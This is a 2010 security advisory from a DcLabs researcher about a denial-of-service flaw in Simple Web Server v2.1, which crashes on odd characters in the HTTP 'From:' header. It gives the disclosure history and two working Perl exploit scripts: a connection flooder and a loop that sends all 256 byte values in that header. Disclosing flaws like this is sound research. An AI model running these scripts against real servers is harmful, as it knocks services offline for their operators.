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[DCA-0003] Simple Web Server DoS
From: Rodrigo Escobar <ipax () dclabs com br>
Date: Mon, 2 Aug 2010 13:49:35 -0700

[DCA-0003]

[Software]

 - Simple Web Server

[Vendor Product Description]

 - The easy and small way to open an HTTP Web Server. OS
Versions:Windows9x/Me/NT/2000/XP

[Bug Description]

 - SwS can't handle the header 'From:' when using random ASCII
characters leading to Denial-of-Service.

[History]

 - Advisory sent to vendor on 06/14/2010.
 - No response from vendor
 - Public advisory & exploit 08/02/2010.

[Impact]

 - Low

[Affected Version]

 - Simple Web Server SwS v2.1
 - Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;


        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;


        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }


#!/usr/bin/perl
use Net::HTTP;

        if (@ARGV < 1) {
                usage();
        }


        $host = @ARGV[0];
        $port = @ARGV[1];
        $num  = 0;

        print "[+] Sending request...\n";


        while ($num <= 255) {
                my $s = Net::HTTP->new(Host => $host, HTTPVersion => "1.0") || die $@;
                $s->write_request(GET => "/", 'User-Agent' => "Mozilla/5.0",
                                              'From' => chr($num));

                $num++;
                close($s);
        }

        print "\n[+] Done!\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 80\n";
        exit;
}



[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br


[Greetz]
Crash and all Dclabs members.

-- 
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team @ DcLabs
http://www.dclabs.com.br


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